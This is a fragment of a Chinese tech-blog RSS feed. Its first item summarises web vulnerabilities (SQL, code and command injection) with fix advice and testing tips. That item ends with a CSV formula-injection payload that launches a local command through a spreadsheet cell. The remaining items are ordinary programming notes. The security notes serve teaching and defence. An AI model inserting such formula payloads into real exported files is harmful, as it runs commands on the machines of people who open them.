      <description>写在前面 根据自己的学习和工作经验总结下常见漏洞类型和经常会遇到的问题。&#xA;一、注入攻击 注入攻击的本质，是把用户输入的数据当作代码执行。&#xA;1、SQL注入 漏洞原理&amp;amp;&amp;amp;场景&amp;amp;&amp;amp;危害 web应用程序对用户的输入未进行合法性判断或者过滤不严，导致服务器可以拼接执行恶意的SQL语句。&#xA;涉及到操作数据库的功能，如搜索产品、查询用户、排序&#xA;可导致：&#xA;机密数据被窃取。核心业务数据被篡改。网页被篡改。数据库所在服务器被攻击变为傀儡主机，甚至企业网被入侵。 修复建议 （最推荐）操作数据库时，应使用预处理/预编译，避免使用SQL拼接。&#xA;mybatis：&#xA;1)使用#符&#xA;2)无法使用#符的场景（排序），使用白名单&#xA;jdbc：&#xA;1)SQL中使用?占位符&#xA;2)使用PreparedStatement&#xA;语义分析过滤SQL注入&#xA;白名单过滤，只允许使用的SQL语句通过&#xA;黑名单过滤，过滤详细规则见：mysql注入黑名单过滤、oracle注入黑名单过滤&#xA;前端加密，将请求使用js加密，并做好js混淆。增加解密难度，至少能防住扫描器&#xA;测试方法 首先找注入点：&#xA;输入单引号，看页面报错信息涉及数据库操作功能的每个参数都要测试，比如搜索、登录、修改数据、提交表单等。若是使用mybatis的多数问题出在order参数xray等被动扫描器 找到注入点之后，看功能可使用sqlmap查其他数据。&#xA;！！！涉及post提交表单或者直接修改数据的真实环境功能千万别用，会产生大量数据，或者数据库被批量修改！！！&#xA;2、代码执行/注入&amp;amp;命令执行/注入 区别与联系 注入/执行 我理解是一个意思，不同的人的习惯叫法不一样。&#xA;《白帽子讲web安全》：代码注入和命令注入都是由一些不安全的函数或者方法引起的。代码注入多见于脚本语言，有时候代码注入也可以导致命令注入。&#xA;严格来说，PHP、JSP的动态include（文件包含漏洞）导致的代码执行，都算代码注入&#xA;《web安全深度剖析》：命令执行漏洞是直接调用操作系统命令，故这里叫做OS命令执行漏洞，可执行外部应用程序的函数导致的叫命令执行。而代码执行漏洞靠执行脚本调用操作系统命令&#xA;php代码注入函数&#xA;eval() //可以将字符串按照PHP代码来执行，即动态执行PHP代码 preg_replace() ob_start() array_map() //返回用户自定义函数处理后的数组 php命令注入函数&#xA;//这类函数可执行外部应用程序 system() shell_exec() exec() passthru() java代码注入函数&#xA;javascript脚本引擎 engine.eval() Java命令注入函数&#xA;runtime.exec() jsp代码注入函数/文件包含&#xA;动态include 根据以上总结，两本书讲的意思大致一样，调用函数执行的是脚本代码的是代码注入，调用函数执行的是外部应用程序命令，比如系统命令的，是命令注入。&#xA;漏洞原理&amp;amp;&amp;amp;场景&amp;amp;&amp;amp;危害 命令执行执行的是系统中的命令,使目标服务器的命令在目标服务器上去执行我们想要执行的命令，系统命令的执行还是要基于某些函数的调度去实现的。&#xA;代码执行是指应用程序过滤不严，用户可以通过请求将代码注入到应用中执行&#xA;第三方框架漏洞、使用到命令执行、代码执行函数的功能。&#xA;可继承Web服务程序的权限去读写文件。执行系统命令反弹shell，控制整个网站甚至控制服务器&#xA;修复建议 Java：&#xA;1）不使用Runtime.exec,使用api获取相应信息&#xA;2）如必须使用Runtime.exec，使用白名单或者过滤&#xA;其他命令执行 本地命令执行----CSV注入 能控制数据导出excel的地方,插入代码&#xA;=1+cmd|&#39; /C calc&#39;!</description>
    </item>
    <item>
      <title>Android View观察或者说监听Activity的生命周期</title>
      <link>https://bchobby.github.io/posts/9bd64d9cb6c35cc74426ba0d6c47828e/</link>
      <pubDate>Tue, 30 Mar 2021 20:14:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bd64d9cb6c35cc74426ba0d6c47828e/</guid>
      <description>今天学到一个比较使用的方法，就是Android系统提供的Activity中getLifecycle()方法，&#xA;如我有一个播放器View，播放器View想实现观察或者说监听使用我的Activity或者Fragment的生命周期的变化，则如下写法&#xA;(context as Activity).lifecycle.addObserver(view) 其中view为播放器View.&#xA;以上，mark一下。</description>
    </item>
    <item>
      <title>另类堆栈（注意TOP的定义）</title>
      <link>https://bchobby.github.io/posts/33bfe13ab6e7d653f987ef81f7006179/</link>
      <pubDate>Tue, 30 Mar 2021 14:54:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33bfe13ab6e7d653f987ef81f7006179/</guid>
      <description>另类堆栈 题目答案注意 题目 答案 bool Push( Stack S, ElementType X ) { if(S-&amp;gt;Top==S-&amp;gt;MaxSize) { printf(&#34;Stack Full\n&#34;); return false; } else { S-&amp;gt;Data[S-&amp;gt;Top]=X; S-&amp;gt;Top++; return true; } } ElementType Pop( Stack S ) { if(S-&amp;gt;Top==0) { printf(&#34;Stack Empty\n&#34;); return ERROR; } else { S-&amp;gt;Top--; return S-&amp;gt;Data[S-&amp;gt;Top]; } } 注意 本题要注意审题，Top定义为栈顶的上一个位置，但因为Top初始值为0，所以判断堆栈是否满了的时候，只需比较Top是否等于MaxSize即可</description>
    </item>
    <item>
      <title>js函数封装数字相加的几种方法</title>
      <link>https://bchobby.github.io/posts/b8972edb81cd794154498ee1fe821c62/</link>
      <pubDate>Tue, 30 Mar 2021 10:30:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8972edb81cd794154498ee1fe821c62/</guid>
      <description>1.通过内置方法 arguments function sum(){ let count = 0 for(let i = 0 ; i &amp;lt; arguments.length ; i++){ if(isNaN(arguments[i])){ continue } else{ arguments[i] = Number(arguments[i]) count = arguments[i]+ count }n } return count } sum(1,1,1,1,1) console.log(sum(1,2,3,5,&#39;ww&#39;,5,&#39;7&#39;)); 2.ES6 新增语法 …args 运算符 function sum(...args) { //es6 变为数值的形式 let count = 0 for (let i = 0; i &amp;lt; args.length; i++) { if (isNaN(args[i])) { continue } else { args[i] = Number(args[i]) count = args[i] + count } } return count } sum(1, 1, 1, 1, 1) console.</description>
    </item>
    <item>
      <title>PyTorch 矩阵乘法总结和运算符重载</title>
      <link>https://bchobby.github.io/posts/4ed80880af3d31f95dedf39f5eab7d41/</link>
      <pubDate>Mon, 29 Mar 2021 19:25:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ed80880af3d31f95dedf39f5eab7d41/</guid>
      <description>1. 二维矩阵乘法 torch.mm() 也就是最基本的矩阵乘法，需要满足对应维度的要求，否则报错&#xA;torch.mm(mat1, mat2, out=None)&#xA;mat1 ∈ R m × n \in \mathbb{R}^{m \times n} ∈Rm×n，mat2 ∈ R n × d \in \mathbb{R}^{n \times d} ∈Rn×d，输出 out ∈ R m × d \in \mathbb{R}^{m \times d} ∈Rm×d。&#xA;2. 三维带batch的矩阵乘法 torch.bmm() torch.bmm(bmat1, bmat2, out=None)&#xA;由于神经网络训练一般采用 mini-batch，经常输入的是三维带 batch 的矩阵。&#xA;提供 torch.bmm(bmat1, bmat2, out=None)，&#xA;其中 bmat1 ∈ R b a t c h × m × n \in \mathbb{R}^{batch \times m \times n} ∈Rbatch×m×n，bmat2 ∈ R b a t c h × n × d \in \mathbb{R}^{batch \times n \times d} ∈Rbatch×n×d，out ∈ R b a t c h × m × d \in \mathbb{R}^{batch \times m \times d} ∈Rbatch×m×d。</description>
    </item>
    <item>
      <title>STM32关延时功能实现方式研究</title>
      <link>https://bchobby.github.io/posts/4a03af4776767e864b4a3f3bfae69741/</link>
      <pubDate>Mon, 29 Mar 2021 16:16:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a03af4776767e864b4a3f3bfae69741/</guid>
      <description>STM32常见延时实现方式研究 一、阻塞延时函数1. 循环延时（V1.0.0）代码（while形式）测试数据特点总结 2. SYSTICK非中断延时（V1.0.1）代码测试数据50us级延时500us级延时 特点总结 3. DWT延时（V1.0.2）代码测试数据50us级延时500us级延时 特点总结 二、非阻塞延时1. 无OS下非阻塞延时（==待更新==）2. OS下非阻塞延时（==暂无更新==） 接触过单片机的，肯定都用过延时函数，从while循环，到定时器延时，到systick延时，再到DWT延时等等。延时含义即从某一刻开始，到下一个某刻结束。 从 用途上来说，延时有 功能性和 非功能性之分。 功能性延时即 某些功能实现必须需要延时，如模拟IIC等；非功能性延时，是为了方便观察或记录现象而进行的延时，一般来说正式发布的时候可以去掉，如加入延时为了printf打印慢一点，非功能性延时通常不用很精确。 根据单片机延时时CPU的动作，分为阻塞延时和非阻塞延时。通俗理解就是 阻塞延时就是死等，CPU进入延时程序后，除了响应中断外啥也不干，就等延时时间到达。 非阻塞延时是指，进入延时后，CPU可以执 行除中断意外的其他功能。 根据延时时是否是靠中断计时，分为中断延时（定时器溢出中断）和非中断延时。 主控：STM32F407ZGT6（HSE：8MHz）&#xA;库：STD标准库V1.8.0&#xA;工具：RIGOL DS1104Z PLUS数字示波器&#xA;各种延时函数测试标准：无论那种方式，mian函数中功能有RTC自动唤醒事件（1s唤醒），通过这些来模拟日常开发，每种延时方式开启后主要测试微秒us延时，毫秒ms延时因为有中断的存在会不准确，当然也有毫秒延时本身误差在。微妙延时会测试50微秒us级（&amp;lt;100us）3组，500微秒us级（&amp;lt;1000us）3组。毫秒延时会测试50毫秒ms级（&amp;lt;100ms）5组，500ms级（&amp;lt;1000us）3组。延时后翻转PB4脚电平，示波器测量电平翻转时间。&#xA;提示：如果不想看数据测试客户以直接阅读结论（黄色字体）。&#xA;一、阻塞延时函数 延时方式从阻塞方式到非阻塞方式，中断从无中断到有中断，准确性从粗略延时到精确延时。（本文持续更新，因此有些函数暂无）。&#xA;延时函数版本号说明&#xA;主版本号：1阻塞延时，2非阻塞延时&#xA;次版本号：0非中断，1中断，&#xA;修订号：&#xA;开源协议、版权和免责声明：&#xA;本文为原创，代码开源使用开源协议Apache-2.0，可以随意使用。请署名版权信息，格式：&#xA;Copyright (c) 20021-2021, Logan(wangzhaoyangly@Foxmail.com)。本文数据只做参考，&#xA;本人不对数据正确性和准确性做保证，由此产生问题本人概不负责。&#xA;1. 循环延时（V1.0.0） 循环延时即在一个循环中让CPU做一些没有意义的工作来完成延时的目的。由于NOP空指令在不同架构的MCU上执行时间不一定，因此不使用NOP进行延时。循环延时和NOP指令延时本质是一样的。不过这个含税延时时间需要摸索，下面这样设置，实际扩大5倍。&#xA;代码（while形式） void delay_while_us(uint16_t time) { uint16_t i = 0; while(time--) { i=168;//168MHz下 while(i--); } } 测试数据 5us延时，理论周期为10us，实际测试周期为50.8us，数据偏差+408%。&#xA;50us延时，理论周期为100us，实际测试周期为500.8us，数据偏差+408%。&#xA;这个数据已经说明问题了，微秒级延时很不准确。&#xA;上面已经说明了，这个延时函数只适合粗略延时，其他量级数据也没有测试必要。&#xA;特点总结 优点：实现简单</description>
    </item>
    <item>
      <title>由于找不到MSVCR110.dll,无法继续执行代码...的解决方法</title>
      <link>https://bchobby.github.io/posts/e689a6e986bb11b143122af8916d4a6e/</link>
      <pubDate>Mon, 29 Mar 2021 15:42:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e689a6e986bb11b143122af8916d4a6e/</guid>
      <description>今天调试代码时候发现Wampserver运行以后是橙色的,橙色代表未启动成功。卸载安装后还是没有解决这个问题，反而启动Wamp出现了错误提示“由于找不到MSVCR110.dll,无法继续执行代码…”。发现可能是昨天清理C盘卸载了一些东西导致的（作死。&#xA;以下是我在另一个原文中找到了解决办法。&#xA;wamp启动丢失msvcr110.dll、vcruntime140.dll等文件的解决方法&#xA;第一种方法：&#xA;到wampserver官网根据自己电脑的位数，下载vcredist_x64.exe或vcredist_x86.exe程序安装，然后把wampserver卸载，重新安装打开即可&#xA;第二种方法：&#xA;如果第一种方法不行的，那么就用这种方法，简单除暴，保准行！那就是直接下载微软的vc运行集成库，把vc库都一下安装上，可以自己百度vc运行库集成下载。也可以通过下面链接下载，&#xA;64位百度云链接: 链接: https://pan.baidu.com/s/1bGKEiq 密码: 49q5&#xA;32位百度云链接: 链接: https://pan.baidu.com/s/1hsgqU5A 密码: edgp&#xA;下载完之后直接安装，然后把wamp卸载重新安装即可。这个方法还是比较稳的！&#xA;————————————————&#xA;链接: https://blog.csdn.net/baiyecode/article/details/78552255.&#xA;我是通过第二种方法把卸载的插件重新下回来了，最后劝大家C盘关于配置和插件的不要乱删，有一些Visual C++的插件工具是和wamp服务器有关系的，没有这些插件运行Wampserver会产生报错。</description>
    </item>
    <item>
      <title>数字电子技术——复试常见问题</title>
      <link>https://bchobby.github.io/posts/6a84c8b66873fe7e781fd3c25a19631d/</link>
      <pubDate>Mon, 29 Mar 2021 15:08:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a84c8b66873fe7e781fd3c25a19631d/</guid>
      <description>数电的课程逻辑：由数制（进制转换）与码制（格雷码、ASCII码）入手，介绍了基本的逻辑代数（与或非），然后引入基本逻辑门电路（CMOS、TTL），基本门电路又组成组合逻辑电路（如编码器、译码器、加法器等）。其他内容还包括：触发器（有记忆性的基本逻辑单元）、时序逻辑电路、脉冲波形的产生和整形。&#xA;什么是竞争与冒险？&#xA;由于竞争导致输出端产生尖峰脉冲的现象就叫做竞争与冒险。&#xA;竞争：两个输入信号同时向相反的逻辑电平跳变。&#xA;消除方法：加选通脉冲、接入滤波电容（直接削弱尖峰脉冲的幅度）、修改逻辑设计（增加冗余项）。&#xA;什么是编码器？&#xA;用来把输入的高低电平转换为二进制编码。&#xA;什么是译码器？&#xA;译码是编码的反操作，用来将输入的二进制代码译为高低电平或者另外一种代码。&#xA;触发器的触发方式有哪些？&#xA;电平触发（加了一个时钟信号用于触发）、脉冲触发、边沿触发。&#xA;如何分析时序逻辑电路？&#xA;先写出触发器的驱动方程，驱动方程代入的特性方程可以得到状态方程，从而写出输出方程。</description>
    </item>
    <item>
      <title>30行代码完成对知乎热榜的抓取!</title>
      <link>https://bchobby.github.io/posts/bfeab53f4f4d6aa5ed72929a2b67ce4e/</link>
      <pubDate>Mon, 29 Mar 2021 10:40:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfeab53f4f4d6aa5ed72929a2b67ce4e/</guid>
      <description>想必知乎这个网站大家都很熟悉吧，每天上午可能都会摸摸鱼来看看热榜上又有哪些热点。但是要是明目张胆的看网站时突然发现背后站着一个领导，那时可能就会很尴尬了，哈哈！&#xA;今天我就教大家如何快速而又优雅的获取知乎热榜上的信息，只需要30行代码即可完成。话不多说，咱们直接开始！&#xA;首先导入我们需要的Python库以及定义我们的headers,注意这里headers里面的cookie要替换为自己网站上的cookie值哦!&#xA;import requests from bs4 import BeautifulSoup import json import re headers = {&#39;X-Requested-With&#39;: &#39;XMLHttpRequest&#39;,&#39;User-Agent&#39;:&#39;Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36&#39;, &#39;cookie&#39;: &#39;&#39;} #cookie值替换为自己网站上的cookie值 之后来获取关于知乎热榜上的所有问题链接：&#xA;url = &#39;https://www.zhihu.com/hot&#39; res = requests.get(url, headers=headers) soup = BeautifulSoup(res.text, &#39;html.parser&#39;) all_a = soup.select(&#39;div.HotItem-content a&#39;) 最后对每个问题链接进行请求，并获取该问题下的所有回答：&#xA;for a in all_a: link = a[&#39;href&#39;] print(link + a[&#39;title&#39;]) question_id = link.replace(&#39;https://www.zhihu.com/question/&#39;, &#39;&#39;) res2 = requests.get(link, headers=headers) soup2 = BeautifulSoup(res2.</description>
    </item>
    <item>
      <title>Java中操作Excel的3种方法，太好用了！</title>
      <link>https://bchobby.github.io/posts/8829d06c8ac35de4a16b33961b6ea59c/</link>
      <pubDate>Mon, 29 Mar 2021 07:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8829d06c8ac35de4a16b33961b6ea59c/</guid>
      <description>一、介绍 在平时的业务系统开发中，少不了需要用到导出、导入excel功能，今天我们就一起来总结一下，如果你正为此需求感到困惑，那么阅读完本文，你一定会有所收获！&#xA;二、poi 大概在很久很久以前，微软的电子表格软件 Excel 以操作简单、存储数据直观方便，还支持打印报表，在诞生之初，可谓深得办公室里的白领青睐，极大的提升了工作的效率，不久之后，便成了办公室里的必备工具。&#xA;随着更多的新语言的崛起，例如我们所熟悉的 java，后来便有一些团队开始开发一套能与 Excel 软件无缝切换的操作工具！&#xA;这其中就有我们所熟悉的 apache 的 poi，其前身是 Jakarta 的 POI Project项目，之后将其开源给 apache 基金会！&#xA;当然，在java生态体系里面，能与Excel无缝衔接的第三方工具还有很多，因为 apache poi 在业界使用的最广泛，因此其他的工具不做过多介绍！&#xA;话不多说，直接开撸！&#xA;2.1、首先引入apache poi的依赖 &amp;lt;dependencies&amp;gt; &amp;lt;!--xls(03)--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--xlsx(07)--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--时间格式化工具--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;joda-time&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;joda-time&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.10.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2.2、导出excel 导出操作，即使用 Java 写出数据到 Excel 中，常见场景是将页面上的数据导出，这些数据可能是财务数据，也可能是商品数据，生成 Excel 后返回给用户下载文件。&#xA;在 poi 工具库中，导出 api 可以分三种方式&#xA;HSSF方式：这种方式导出的文件格式为office 2003专用格式，即.xls，优点是导出数据速度快，但是最多65536行数据&#xA;XSSF方式：这种方式导出的文件格式为office 2007专用格式，即.xlsx，优点是导出的数据不受行数限制，缺点导出速度慢&#xA;SXSSF方式：SXSSF 是 XSSF API的兼容流式扩展，主要解决当使用 XSSF 方式导出大数据量时，内存溢出的问题，支持导出大批量的excel数据</description>
    </item>
    <item>
      <title>leetCode 435 无重叠区间（区间问题）</title>
      <link>https://bchobby.github.io/posts/498710d0bb6b2279b5d5bcdcc7952740/</link>
      <pubDate>Sun, 28 Mar 2021 20:00:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/498710d0bb6b2279b5d5bcdcc7952740/</guid>
      <description> 题目链接：点击查看&#xA;题目描述：&#xA;给定多个区间，计算让这些区间互不重叠所需要移除区间的最少个数。起止相连不算重叠。&#xA;输入输出：&#xA;输入: [ [1,2], [2,3], [3,4], [1,3] ]&#xA;输出: 1&#xA;输入: [ [1,2], [1,2], [1,2] ]&#xA;输出: 2&#xA;题目分析：&#xA;此题采取贪心策略 ，区间的结尾越小，预留给其他空间的结尾就越大，保留的空间也就越多， 具体方法 为把区间按照结尾的大小进行升序排序（在此用了c++的lambda匿名函数作为自定义排序方式 作为sort第三个参数），每次选择结尾小且和前一个选择的区间不重叠的区间。因此贪心策略为：优先保留结尾小且不相交的区间。&#xA;代码：&#xA;int eraseOverlapIntervals(vector&amp;lt;vector&amp;lt;int&amp;gt;&amp;gt;&amp;amp; intervals) { if(intervals.empty()) { return 0;&#x9;} int n=intervals.size(); sort(intervals.begin(),intervals.end(),[](vector&amp;lt;int&amp;gt;a,vector&amp;lt;int&amp;gt;b){ return a[1]&amp;lt;b[1]; });//用c++lambda匿名函数来自定义排序方式：即按照每个一维数组第二个元素大小升序排序 int total=0,prev=intervals[0][1];//total表示所要移除区间的个数 for(int i=1;i&amp;lt;n;i++) { if(intervals[i][0]&amp;lt;prev) { ++total; } else { prev=intervals[i][1]; } } return total;&#x9;} </description>
    </item>
    <item>
      <title>amos不显示路径系数原因</title>
      <link>https://bchobby.github.io/posts/b41a9f11fefd222a65deb9249637c943/</link>
      <pubDate>Sun, 28 Mar 2021 15:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b41a9f11fefd222a65deb9249637c943/</guid>
      <description>amos每个潜变量对应至少三个显变量&#xA;amos不显示路径系数原因 至少一个显变量对应因子载荷为1&#xA;设定方式：点击箭头或显变量，设定regression weight为1</description>
    </item>
    <item>
      <title>graphlib中文API文档</title>
      <link>https://bchobby.github.io/posts/081d4d1aad5961469c5a1428b2e742d0/</link>
      <pubDate>Sat, 27 Mar 2021 23:37:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/081d4d1aad5961469c5a1428b2e742d0/</guid>
      <description>graphlib中文API文档 （一）API 参考 该页面介绍graphlib中主要的概念及有关API。默认，有关功能和对象都在graphlib命名空间下。&#xA;文章目录 graphlib中文API文档（一）API 参考（1）图概念1）节点和边的表示2）多边图(Multigraphs)3）复合节点图(Compound Graphs)4）默认标签（Default Labels) （2）基础 API（3）算法 API01） alg.components(graph)02） alg.dijkstra(graph, source, weightFn, edgeFn)03） alg.dijkstraAll(graph, weightFn, edgeFn)04） alg.findCycles(graph)05） alg.floydWarshall(graph, weightFn, edgeFn)06） alg.isAcyclic(graph)07） alg.postorder(graph, vs)08） alg.preorder(graph, vs)09） alg.prim(graph, weightFn)10） alg.tarjan(graph)11） alg.topsort(graph) （1）图概念 graphlib仅有一个图的概念: Graph。创建新的实例可以使用下面的代码:&#xA;var g = new Graph() 默认, 会创建一个有向图且不支持节点间具有多条边或者由多个节点构成的复合节点。添加如下参数可以在构建具有特定性质的新的图对象:&#xA;directed: 该参数设定为true会获得有向图实例，设定为false会获得无向图实例。无向图不关心在边中节点相互关联的次序。换一种方式来说, g.edge(&#34;a&#34;, &#34;b&#34;) === g.edge(&#34;b&#34;, &#34;a&#34;)对无向图而言是成立的。该属性默认为: true。multigraph: 设定为true允许图在同一对节点之间具有多条边。该属性默认为: false。compound: 设定为true允许图具有复合节点，也就是说允许某结点是一些其他节点的父节点。该属性默认为: false。 要设定这些属性， 可以通过带有参数的Graph构造函数来创建对象。例如, 要创建一个有环且具有复合节点, 且一对节点之间允许具有多条边的图，可以通过下面的代码实现:&#xA;var g = new Graph({directed: true, compund: true, multigraph: true}) 1）节点和边的表示 在graphlib中, 节点可以通过用户定义的字符串作为id来表述。所有节点有关的方法均使用此String类型的id来唯一标识此节点。下面代码可以实现关于节点的交互操作:</description>
    </item>
    <item>
      <title>访问者模式java实例,深入浅出Java的访问者模式</title>
      <link>https://bchobby.github.io/posts/3992e8f356454e504097d78af915dc01/</link>
      <pubDate>Sat, 27 Mar 2021 21:31:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3992e8f356454e504097d78af915dc01/</guid>
      <description>import java.util.*;&#xA;import junit.framework.*;&#xA;//访问者角色&#xA;interface Visitor {&#xA;void visit(Gladiolus g);&#xA;void visit(Runuculus r);&#xA;void visit(Chrysanthemum c);&#xA;}&#xA;// The Flower hierarchy cannot be changed:&#xA;//元素角色&#xA;interface Flower {&#xA;void accept(Visitor v);&#xA;}&#xA;//以下三个具体元素角色&#xA;class Gladiolus implements Flower {&#xA;public void accept(Visitor v) { v.visit(this);}&#xA;}&#xA;class Runuculus implements Flower {&#xA;public void accept(Visitor v) { v.visit(this);}&#xA;}&#xA;class Chrysanthemum implements Flower {&#xA;public void accept(Visitor v) { v.visit(this);}</description>
    </item>
    <item>
      <title>《Perl语言入门》读书笔记（六）正则表达式</title>
      <link>https://bchobby.github.io/posts/85e1248c850295fe0b5f7da170481972/</link>
      <pubDate>Sat, 27 Mar 2021 16:42:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85e1248c850295fe0b5f7da170481972/</guid>
      <description> 1.序列匹配 $_ = &#34;yabba dada ddad&#34;; if(/dada/){ print&#34;It matched!\n&#34;; #在//中的值与$_相匹配 } 在匹配中不会忽略空白字符，需要注意。&#xA;2.通配符 点号.能匹配出换行符外的任意单个字符：&#xA;$_ = &#34;yabba dada ddad&#34;; if(/da.a/){ print&#34;It matched!\n&#34;; #.能与任意单个字符匹配 3.量词 可以使用量词知道你匹配项的重复次数：&#xA;正则表达式量词及对应的广义形式 匹配次数元字符一般化写法可有可无 ？&#xA;{0,1}&#xA;零或多次*{0,}一次以上+{1,}至少多少次，无上限 {3,}指定重复次数范围 {3,5}准确的重复次数 {2} </description>
    </item>
    <item>
      <title>git使用（Linux）</title>
      <link>https://bchobby.github.io/posts/67e877ac83d913b029b699e1d7578eaf/</link>
      <pubDate>Sat, 27 Mar 2021 15:08:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67e877ac83d913b029b699e1d7578eaf/</guid>
      <description>文章目录 常用命令写在前面以便查阅配置git账号远程&amp;amp;Github使用git本地操作git分支操作 常用命令写在前面以便查阅 git log remotes/origin/master查看远程提交记录&#xA;git push origin --delete develop-kidl-add删除远程分支&#xA;git tag -a v1.0 给重要的版本打上标签&#xA;git commit --amend修改注释&#xA;git remote -v显示所有远程仓库&#xA;git push origin HEAD:refs/for/develop提交到远程develop分支&#xA;配置git账号 下载git：apt-get install git&#xA;输入命令：&#xA;git config --global user.name “github用户名”&#xA;git config --global user.email “github邮箱”&#xA;这些内容会被保存在/root下的.gitconfig文件中,如果想修改就可以修改这里，而且ssh密钥是根据这个生成的，所以改了这里之后需要重新生成秘钥，生成秘钥的命令如下（若没有上传到github的需求，不用执行以下操作），输入命令：&#xA;ssh-keygen -t rsa -C &#34;github邮箱&#34;之后一直回车即可。&#xA;我的shh秘钥位置：/root/.ssh/id_rsa，在/root/.ssh下有两个文件，一个是私钥，一个.pub文件是公钥，将公钥提交到github中。&#xA;将密钥提交到github中，注意最后的邮箱不用加，输入命令：&#xA;ssh -T git@github.com&#xA;如果提示success那么就成功将自己的Ubuntu和github关联了起来&#xA;远程&amp;amp;Github使用 在github中创建一个仓库 repository。&#xA;如下图可以选择有些类型的文件被git忽视，忽视没用的文件，让git的跟踪看起来更清爽一点。&#xA;github上传项目&#xA;步骤：&#xA;1.在github中申请的repository&#xA;2.在新目录下要初始化一下：git init&#xA;链接远程仓库：git remote add origin git@github.com:在github中申请的repository的路径.git&#xA;git add 文件名</description>
    </item>
    <item>
      <title>《Perl语言入门》读书笔记（六）哈希</title>
      <link>https://bchobby.github.io/posts/9b27c773d6dd96b28789564834066dbc/</link>
      <pubDate>Sat, 27 Mar 2021 15:07:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b27c773d6dd96b28789564834066dbc/</guid>
      <description>1.哈希特点 哈希是一种数据结构，与数组相同点，能容纳任意多的值；而哈希的检索方式与数组不同。数组是以数字下标检索，而哈希中的值（value）以唯一的名字（key）检索。&#xA;key-value一一对应：&#xA;乱序排列，类似一桶数据：&#xA;由于检索方式不同，当使用哈希时，能提高对大数据量中的读写性能。&#xA;2.哈希的使用 %some_hash = (&#39;foo&#39;, 35, &#39;bar&#39;, 12.4, 2.5, &#39;hello&#39;, &#39;wilma&#39; ,1.77878e12, &#39;da&#39;, &#34;ada\n&#34;); #创建一个哈希数组，以前key后value，一一对应 #改进版创建哈希 my %last_name = ( &#39;fred&#39; =&amp;gt; &#39;filtstone&#39;, # &#39;=&amp;gt;&#39;等效于‘,’，更能区分key与value &#39;betty&#39; =&amp;gt; &#39;rubble&#39;, &#39;dino&#39; =&amp;gt; undef, ); $hash{$some_key}; #访问哈希中的元素 @any_array = %some_hash; #以无序形式返回键-值对应的列表，key与它对应的value相邻 3.哈希操作函数 3.1 keys和values函数 keys函数能返回哈希的键列表，values函数能返回对应的值列表。&#xA;my %hash = (&#39;foo&#39;, 35, &#39;bar&#39;, 12.4, 2.5, &#39;hello&#39;, &#39;wilma&#39; ,1.77878e12, &#39;da&#39;, &#34;ada\n&#34;); my @k = keys %hash; #返回值包含所有奇数位置的key my @v = values %hash;#返回所有偶数位置的value，返回顺序不固定，但key与value的相对位置保持一致 3.</description>
    </item>
    <item>
      <title>MySQL中Waiting for table metadata lock的解决方法</title>
      <link>https://bchobby.github.io/posts/2cbdcd248dec6b7c7a4d4ad1fe1fbd8d/</link>
      <pubDate>Sat, 27 Mar 2021 12:49:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cbdcd248dec6b7c7a4d4ad1fe1fbd8d/</guid>
      <description>MySQL中在mysql命令行使用show full processlist；命令即可查看数据库的连接信息（管理员用户可看所有用户的连接，非管理员用户只能看到自己的连接），对于大量出现Waiting for table metadata lock的原因参考如下几篇文章（各篇文章有提到不同的点或排查思路）。&#xA;其中最重要的一点是：&#xA;show processlist（或show full processlist）查出来的数据的ID列，表示的是数据库的会话ID（session id），不是一个系统进程id，需要在mysql命令行模式下使用“kill 会话ID”的方式结束该会话，其他文章里说kill 进程id，这点对不了解mysql的人来说会误认为是linux进程。&#xA;可使用管理员账号查询如下语句得到具体引起锁的会话id：&#xA;select * from information_schema.innodb_trx&#xA;找到未提交事物的sid (trx_mysql_thread_id)&#xA;其他详细说明参考如下内容：&#xA;https://blog.csdn.net/haijiege/article/details/78606655&#xA;https://blog.csdn.net/u013235478/article/details/68062939&#xA;https://blog.csdn.net/aldqjt7468/article/details/101409145&#xA;https://blog.csdn.net/banxinggao9210/article/details/101344401</description>
    </item>
    <item>
      <title>word图片撑满,word怎么让图片占满整个页面？</title>
      <link>https://bchobby.github.io/posts/b0950f1ea89b27a1b0d59ccdcd94fb50/</link>
      <pubDate>Sat, 27 Mar 2021 04:23:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0950f1ea89b27a1b0d59ccdcd94fb50/</guid>
